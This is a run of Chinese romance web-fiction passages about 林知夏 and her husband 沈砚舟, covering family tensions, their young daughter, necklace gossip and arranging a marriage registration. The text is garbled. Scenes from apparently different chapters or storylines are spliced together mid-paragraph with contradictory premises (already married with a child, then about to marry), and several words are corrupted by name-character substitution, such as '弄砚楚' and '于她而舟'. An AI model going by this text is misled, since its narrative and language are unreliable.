众人散去,林知夏跟着沈砚舟一起朝主屋的小客厅走去。沈庆荣则去送老爷子去,暂时还没有回来。 客厅里尽是最亲的人,范静文也不再掩饰脸上的笑容,忙叫佣人去端茶进来,又诉说着沈语程离开的模样,显然是高兴地忘乎所以起来。 沈砚舟却慢了一步进来,不一会儿,在范静文的兴奋劲儿还没有过完的时候,沈氏御用的家庭医生走了进来。 “小张你怎么来了?”范静文收住话茬,有些疑惑,然后想起来沈砚音挨了打,忙说:“是明贵叫的吧?快,赶紧去看看砚音!是该让你看看的,还是明贵心细!” 明贵就是管家陈明贵的名字。 张医生笑着应了一声,下一秒却将目光投向了沈砚舟。沈砚舟这时才起身,说:“妈,是我叫张医生来的。” 他不等范静文回过神,回头看向后座的林知夏,伸出去手去:“过来,让张医生看看你的手腕。” 林知夏眨了一下眼睛,才明白过来,刚刚沈砚舟落后一步不跟她一起进来是因为什么。 她没有立刻起身,而是目光落在沈砚舟伸过来的手上。 上课之前,沈妙盈分别给了爸爸妈妈一个拥抱。 “妈妈。”沈妙盈握着林知夏的手拍了拍,“等我上完课以后再来找你,你乖乖地等着我哦。” 语气和动作像极了一个小大人,林知夏猜测,可能平常张姨就是这么对沈妙盈说话的。 林知夏笑着点头,颇有些不舍地看着沈妙盈离开。 除了舍不得自己的女儿之外,还因为沈妙盈走了之后,餐厅里就只剩下她和沈砚舟两个人了。 上次和沈砚舟单独相处时,男人的喜怒不定还历历在目。 为避免说多错多,林知夏决定这次等沈砚舟先开口。 她不动声色地观察对面的男人,他的身姿挺拔如松,穿着一件深色的衬衫,袖口挽到小臂,露出流畅的肌肉线条。 林知夏能清晰地感受到,男人的目光也正落在自己身上。 她的心里绷紧了弦,打起十二分精神。 如果有仪器能统计,那么和沈砚舟相处时,她的脑细胞消耗率绝对是平常的好几倍。 空气安静了不知道多久。 就在林知夏快要按捺不住的时候,沈砚舟终于开口:“你好像有话对我说?现在这里没有其他人,你想问什么都可以问。” 林知夏:“……”晚饭过后,张姨照例领沈妙盈去了启蒙室。 林知夏回到房间,打开微信。 她本来朋友就不多,七年过去还能联系的就更少。 幸好姜雨晴告诉她,她失踪的事情在同学之间没有传开,大家都以为她只是这些年都很低调而已。 加上以前林知夏也几乎不发朋友圈,更加没人觉得奇怪。 偶尔有熟人向姜雨晴打听她的近况,姜雨晴都帮她搪塞了过去。 “要是真说你失踪了,他们肯定要疯狂问东问西的,麻烦死了。”姜雨晴说,“再说我也不想你变成他们茶余饭后的谈资。” 托姜雨晴的福,林知夏不用担心哪天万一在路上遇到熟人,会被当成是撞到鬼了。 林知夏往下随意刷着朋友圈,没有特别的目的,就是想看看这些年大家都在做什么。 时间是个神奇的东西,林知夏惊讶地发现,当年班里坚决表示自己是丁克的同学居然在几年前结婚生子,现在经常晒孩子的照片。 还有当年坚决要考公的同学,如今辞掉了体制内的工作,正在创业。 也有好几个出国的,时不时晒一下国外的山川美景。 林知夏翻着翻着,忽然觉得有些迷茫。 她今后要做些什么呢? 当年林知夏读本科时成绩不错,毕业时没费太多周折就找到了工作,是一家待遇不错的大公司。 假如她按部就班地上班,没有失踪那么多年,那如今的工资应该还挺可观的。 可一切没有假如,以她现在的情况,如果写一份简历去找工作,估计连拿到面试机会都困难。 林知夏长长地叹了一口气,决定这些事情还是以后慢慢想吧。 至少在沈砚舟给了她那张银行卡后,很长一段时间里她都不用再为钱发愁了。 晚上八点五十,林知夏去儿童房和沈妙盈道了晚安。 有了昨晚的经验,林知夏觉得自己的心态提升了不少,可以镇定自若地和沈砚舟先后在小姑娘的脑门上印下晚安吻。 不知是不是已经开始习惯新的生活,这天晚上林知夏睡得比前一天要安稳许多。 张太太接起电话,先报了那条项链的品牌,然后继续说:“这是新出的项链,听说还没有借过人,我们是第一批看到货的人,广告都没打呢!” 珠宝就是如此,物以稀为贵,越是稀有,才有收藏价值,卖出天价。 “切割是大师之手,做工更是没话讲,就是我都很喜欢,不过,我嫌它的钻太碎了,就没有买。你是知道我的,我不戴碎钻。 “听说好几家都报了价,那个暴发户听说过没,姓曾的那位?他老婆喜欢嘛,一定要买,出得价最高,我们都懒得争。 “本来也没事,但是她突然又不要了,说这条项链不吉利,搞得那个珠宝经理人气得脸都红了。” 林知夏听得目瞪口呆,还有报了价,订了项链,最后又不要的。果然是新兴的富豪,不怎么在乎面子。 她忙问:“后来呢?” 张太太就跟她八卦兮兮地说:“后来就真的不给钱啊,珠宝商没办法了,重新挂出来卖。然后大家都好奇为什么又拿出来卖,那珠宝经理人也不替她掩饰了,说是她刚刚怀孕没多久就流产了,把流产的原因怪到项链上去了,硬说是项链不吉利。” 但是越是有钱的人越是迷信,虽然这位曾太太是无稽之谈,但是偏偏她说了,就有人觉得晦气。 本来挺受欢迎的项链,一时就没人买了,可把那位经理人急得满城乱窜。 “没想到,是沈老板买了下来。”张太太说,“你别听那个女的乱说,我后来听人说,她流产是跟曾老板外头的女人打架闹的,跟项链一点关系没有!” 林知夏也不信,但是偏偏她名义上的婆婆信了,还怕影响到她的肚子。 难道,范静文认为她送了自己的名贵首饰,就能够让她转运怀上沈砚舟的孩子吗? 林知夏弄砚楚原因,谢了张太太才挂断电话。 她没有立刻起身,还继续坐在梳妆台的椅子上发呆。 范静文其实并不像公公沈庆荣那样,将林知夏没有给沈砚舟生孩子这件事不满摆到脸上,她还安慰林知夏,还年轻,不想要孩子正常,她也是二十六七才怀的沈砚舟呢。 可是,现在想想,范静文虽然生孩子晚,那是因为她结婚结得晚,不是不想生,或者为了夫妻二人的生活选择不生。 范静文也是跟公公一样期待她早点怀孕的吧,所以一听到项链背后的不好传闻,立刻如临大敌,都不计较上次和她的龃龉,大方地把价值连城的珠宝首饰送给她。 可是,她根本不可能怀上孕的啊? 本就烫手的这套粉钻首饰,林知夏现在根本不敢沾手了。她不由看了手表,已经过了晚饭的点,沈砚舟的秘书王锐早就跟她发过消息,今晚沈砚舟要出去应酬。 她自己下楼,心不在焉地吃了饭,洗完澡后便一心等着沈砚舟回来。 不过,她也吸取上次的教训,没敢听到动静就下楼,而是等着他们忙活一阵子,然后假装自己被吵醒,再推门出来。 林知夏等啊等啊,手机都被她玩得发烫,她再次看时间,都已经凌晨一点多了,还没有回来…… 和谁应酬啊,真是的。林知夏心想,沈砚舟什么时候能专门抽时间应酬应酬她啊。 又不知道过了多久,楼下才传来动静,林知夏立刻醒过来,然后就坐在床边,数着时间等下下楼。 却不想,林知夏还没数到下楼的时间,她的房门就被人敲响了。是保姆陈阿姨的声音:“太太,沈先生回来了,他喝醉了。” 陈阿姨一向站在林知夏这边,既然沈砚舟喝醉了,她当然不会让沈砚舟去睡隔壁的侧卧。 喝醉了!林知夏立马随手披上一件睡衣外套站起身,小跑去开门。 一开门,王锐和司机两人正扶着沈砚舟站在外面,她没注意两人,目光只看着沈砚舟。“好,慢走。” 林知夏低头仔细翻看文件,前面的文字介绍部分她快速略过,直接翻到最后附件,一个表格名单,全市各单位的发舟人名字、职务、工作机构电话都清清楚楚写着。 她大致看了一遍,意外在上面看到一个名字——沈砚舟。 但她没去反驳张映秋的观点,只顺着张映秋的意思嗯一声,敷衍回应。 现在和张映秋讲这些没必要,两辈人的认知和思想存在代沟,不是三两句话就能讲通的。 从另一种角度来说,这样凑合的婚姻其实并无坏处。 没有感情作为基础和纽带,也就不需要付出情感和心血来维系。 两个陌生人通过一本结婚证,就像是谈判桌上签订契约合同,两人从此成为合作关系,和工作性质差不多。 林知夏这样想,把他的塑料老公当成婚姻搭子就行。 有吃饭搭子,运动搭子,工作搭子……怎么就不能有结婚的搭子呢? 而且,她听闻沈砚舟对于这桩婚事也是被逼无奈,拿着刀架在脖子上才同意的,说起来,大家都是这场婚姻的“受害者”。 正好,婚后井水不犯河水,互不干涉,不影响她搞事业。 这也是林知夏为什么会答应结婚的一个原因。再则,近年母亲身体不好,她不忍心看着张映秋为她操心这些乱七八糟的事。“没有。”林知夏坦然地说,她想了想,还是说清楚缘由,“我妈还没告诉我,所以我不知道时间,不好意思。” 前几天张映秋打来电话,说是把她和沈砚舟的生辰八字拿去看一看,挑个日子领证。想来应该是定好日子,只是张映秋还没来得及和她说,导致她和沈砚舟存在信息差,却让对方误以为她不想结这个婚。 那他想结这个婚吗? 应该也是不想的吧。 “是我考虑不周,我应该晚点再来和你商量的。” 男人还是那副不咸不淡的口吻,听着礼貌挑不出毛病,但就是让人彻底感受到隔着千山万水的疏离。 沉默一瞬,问题回归到最初。 沈砚舟和她商量,问她上午去还是下午去。 周一有例会,林知夏断不会因为私人事情耽误工作的。况且和一个陌生人领证这件事于她而舟,什么时候去都行,根本用不着特意挑日子,完全多此一举。 她想也没想就脱口道,“下午吧,我上午有事。” “行,几点?” “三点。” “好。”沈砚舟应下,“那民政局见。”《 》